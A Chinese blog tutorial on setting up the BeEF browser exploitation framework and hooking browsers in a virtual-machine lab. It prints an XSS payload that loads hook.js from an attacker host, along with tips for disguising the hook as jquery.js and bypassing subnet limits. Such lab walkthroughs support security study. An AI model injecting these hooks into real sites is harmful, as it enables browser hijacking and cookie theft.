全文概览

简介

BeEF( The Browser Exploitation Framework) 是由Wade Alcorn 在2006年开始创建的,至今还在维护。是由ruby语言开发的专门针对浏览器攻击的框架。BeEF的总体思路就是在内网下通过arp欺骗,修改response包,加入我们的钩子。这个框架也属于cs的结构,具体可以看下图。

zombie(僵尸)即受害的浏览器。zombie是被hook(勾连)的,如果浏览器访问了有勾子(由js编写)的页面,就会被hook,勾连的浏览器会执行初始代码返回一些信息,接着zombie会每隔一段时间(默认为1秒)就会向BeEF服务器发送一个请求,询问是否有新的代码需要执行。BeEF服务器本质上就像一个Web应用,被分为前端UI, 和后端。前端会轮询后端是否有新的数据需要更新,同时前端也可以向后端发送指示, BeEF持有者可以通过浏览器来登录BeEF 的后台管理UI。

kali已经把beef-xss做成服务了,推荐使用systemctl 命令来启动或关闭beef服务器

  1. systemctl start beef-xss.service #开启beef
  2. systemctl stop beef-xss.service #关闭beef
  3. systemctl restart beef-xss.service #重启beef

公网安装

在公网Ubuntu17下安装beef

  1. 首先在vps中,初始用户一般是rootroot是没法安装某些ruby的一些扩展包(考虑到安全问题),所以需要一个降权的用户。
  2. #创建一个beef的用户
  3. useradd -m -d /home/beef -s /bin/bash beef
  4. #设置beef的密码,最好使用强密码
  5. passwd beef
  6. #把beef用户加入sudo, root 组
  7. usermod -aG root,sudo beef
  8. #转到beef用户
  9. su beef
  10. 接着就是安装beef
  11. #进入家目录
  12. cd
  13. #获取源文件
  14. wget https://github.com/beefproject/beef/archive/master.zip
  15. sudo apt update && sudo apt upgrade -y && sudo apt install unzip ruby ruby-dev -y
  16. #解压master.zip
  17. unzip master.zip
  18. cd beef-master
  19. #安装beef
  20. ./install
  21. 笔者在安装过程中遇到/var/lib/gems/2.3.0, /usr/local/bin 这两个目录没有写权限的错误,下面是解决方法
  22. sudo chmod g+w /var/lib/gems/2.3.0
  23. sudo chmod g+w /usr/local/bin
  24. #再次运行
  25. ./install
  26. beefsudo, root 组中移除
  27. #运行
  28. sudo chmod g-w /var/lib/gems/2.3.0 && sudo chmod g-w /usr/local/bin
  29. sudo gpasswd -d beef root && gpasswd -d beef sudo
  30. 最后运行beef 建议别使用root来运行beef服务器, 既然已经创建了一个idbeef的用户,那么以后都以这个用户来运行beef服务器会更好。
  31. #进入beef所在目录
  32. cd /home/beef/beef-master
  33. #以后台模式运行beef服务器,且即使ssh断开了,也不影响beef 服务器。
  34. nohup ./beef &

配置

kali下的BeEF配置文件在  /usr/share/beef-xss/config.yaml,其它的配置文件也在这个目录的子目录下,往后在使用某些功能时,需要修改对应的配置文件。自主安装的BeEF配置文件会在BeEF的主目录下config.yaml,建议修改几个地方:

  1. ### 指定某个网段,只有在这个网段的浏览器才能被hook
  2. permitted_hooking_subnet: "0.0.0.0/0"
  3.  
  4. ### 指定某个网段,只有在这个网段的浏览器才能访问管理UI
  5. permitted_ui_subnet: "0.0.0.0/0"
  6.  
  7. ### 上面这两项都是可以被绕过的,只要使用X-Forwarded-For首部绕过,一般不需要设置
  8.  
  9. ### 设置beef服务器的主机, 如果有自己的域名, 那么可以设置自己的域名, 没有就使用默认
  10. host: "0.0.0.0"
  11.  
  12. ### 设置beef服务器监听的端口, 可以自己定一个,比如8080, 记得端口号需要大于1024
  13. port: "3000"
  14.  
  15. ### 受害浏览器轮询beef主机的时间, 默认为1秒,可以设置为更低。
  16. xhr_poll_timeout: 1000
  17.  
  18. #public: "" # public hostname/IP address
  19. #public_port: "" # experimental
  20. ### 这是让BeEF运行在一个反向代理或者NAT环境下才需要设置的。
  21.  
  22. ### 管理页面的URI, 默认是/ui, 建议修改,这样就不会让别人找到你的管理页面
  23. web_ui_basepath: "/ui"
  24.  
  25. ### hook_file 的名称, 建议修改, 可以修改为jquery.js之类的来提升隐蔽性
  26. hook_file: "/hook.js"
  27.  
  28. ### 管理页面登录的用户名和密码, 这个一定要改,两个都改是最好的
  29. credentials:
  30. user: "beef"
  31. passwd: "beef"

默认无法使用msf模块,因此还需要作如下配置连接msf。

注:host不可用127.0.0.1

启动msf

挂马(初始控制)

启动kali beef端(IP:192.168.187.149)

如果一个网站有XSS漏洞,然后你通过某种方式把你的payload(<script src="http://Attacker IP:3000/hook.js"></script>)发到这个有XSS漏洞的页面,受害者点击或者直接访问那个界面时,就会不断请求Attacker端的hook.js,以此实现盗cookie/钓鱼等操作。

Win2003(IP:192.168.187.148)的WWW主目录下有一网页1.html。

本地访问

主机访问

回到Attacker端,可以看见虚拟机win2003和主机win10都已上钩

参考文章

https://blog.csdn.net/Fly_hps/article/details/81940388

https://blog.csdn.net/m0_37268841/article/details/80091615

xss利用——BeEF#stage1的更多相关文章

  1. xss利用——BeEF#stage4(其余功能介绍)

    目录 信息收集 => 社会工程 =>网络扫描 => 结合metasploit => tunneling => xss => 维持权限 功能介绍 #1 - 信息收集 ...

  2. xss利用——BeEF#stage2(初始并持续化控制)

    全文概览 浏览器攻击方法流程 攻击浏览器一般分为几个阶段,如下图 整个过程分为三个步骤,第一步是初始化控制,第二步是持续控制,第三步是攻击.在第三步中的七个攻击方法是可以交叉的,比如可以同时攻击用户和 ...

  3. xss利用——BeEF#stage3(绕过同源策略与浏览器代理)

    绕过同源策略 正式进入攻击阶段.因为SOP(同源策略)的存在,BeEF只能对被勾子钩住的页面所在域进行操作.如果有办法绕过SOP,那么无疑会使攻击面放大. 绕过SOP可从两方面入手.第一个是从浏览器本 ...

  4. 利用Beef劫持客户端浏览器

    利用Beef劫持客户端浏览器   环境: 1.Kali(使用beef生成恶意代码,IP:192.168.114.140) 2.一台web服务器(留言板存在XSS跨站脚本漏洞,IP:192.168.11 ...

  5. xss利用和检测平台

    xssing 是安全研究者Yaseng发起的一个基于 php+mysql的 网站 xss 利用与检测开源项目,可以对你的产品进行黑盒xss安全测试,可以兼容获取各种浏览器客户端的网站url,cooki ...

  6. 漏洞利用:验证绕过,XSS利用,Cookic盗用,文件上传

    1.      文件上传 低级别 写好上传的内容 选择好上传的文件 上传成功. 测试:访问文件,执行代码 中级别 修改文件后缀为png 上传该文件 抓包修改文件后缀为php,然后允许数据包通过. 上传 ...

  7. xss利用

    xss盗取cookie 什么是cookie cookie是曲奇饼,啊开个玩笑,cookie是每个用户登录唯一id和账号密码一样可以登录到网站,是的你没有听错cookie可以直接登录,至于服务器怎么设置 ...

  8. 利用BeEF REST API自动化控制僵尸主机

    本文首发Freebuf,属于原创奖励计划,未经许可禁止转载. http://www.freebuf.com/articles/network/137662.html 一. 前言 关于BeEF,不再多介 ...

  9. XSS之Beef的使用

    0x01 Beef简介 BeEF是The Browser Exploitation Framework的缩写.它是一种专注于Web浏览器的渗透测试工具. beef管理.挂钩web浏览器的过程: 生成交 ...

随机推荐

  1. IE浏览器连接WebSocket报错:java.lang.IllegalArgumentException: Invalid character found in the request target. The valid characters are defined in RFC 7230 and RFC 3986

    在项目开发中整合了WebSocket,本来没什么问题了,但是偶尔发现用IE浏览器打开web端不能推送消息,因为PC端与服务器建立连接失败了.网上查了很多资料, 又看了看源码,都不对症:又怀疑是Spri ...

  2. 团队作业3:需求改进&系统设计

    一.需求&原型改进: 1.1 选题需求改进 用户:同学你好,有什么事我们能帮到你 我:我要说的事……(咽口水)你们千万别害怕 用户:我们是杠精,我们不会怕,您请说 我:我们要做一个roguel ...

  3. 个人项目作业WC(JAVA)

    GitHub地址:https://github.com/1666403186/WC 一.题目描述 Word Count1. 实现一个简单而完整的软件工具(源程序特征统计程序).2. 进行单元测试.回归 ...

  4. .net core国际化

    1.背景 公司业务遍及全球各地,对应业务系统国际化就是顺理成章的事情.最近就接手了一批新老系统的国际化任务,这里把一些探索经验.案例记录下来.本身改造和探索过程包括.NET MVC的,以及.NET C ...

  5. 快速解决Ubuntu/linux 环境下QT生成没有可执行文件(application/x-executable)

    快速解决Ubuntu/linux 环境下QT生成没有可执行文件(application/x-executable)(转载)   问题描述 与windows环境下不同,linux选择debug构建时并不 ...

  6. 京东T8通过企业实例展示软件架构实际应用,带你迅速成为架构师

    在软件行业,架构师和软件工程师是非常辛苦的职业.一方面新技术层出不穷;另一方面业务需求也层出不穷,让人疲于应付.导致的后果就是常常加班,生活质量低下.只有曾经身在其中的人,才能够体会其中的酸甜苦辣. ...

  7. 关于babel你需要知道的事情

    babel js转码器 ES6 ==> ES5 配置 .babelrc

  8. [PyTorch 学习笔记] 5.1 TensorBoard 介绍

    本章代码: https://github.com/zhangxiann/PyTorch_Practice/blob/master/lesson5/tensorboard_methods.py http ...

  9. 剑指 Offer 19. 正则表达式匹配

    题目描述 请实现一个函数用来匹配包含'. '和'*'的正则表达式.模式中的字符'.'表示任意一个字符,而'*'表示它前面的字符可以出现任意次(含0次).在本题中,匹配是指字符串的所有字符匹配整个模式. ...

  10. shell小技巧(6)修改一批文件后缀

    当前目录下后缀为sh的文件,改为后缀shell. 这里列出两种方法,先看第一种.方法1:#!/bin/bash str=`find ./ -name \*.sh`  # 会产生一个列表 file=&q ...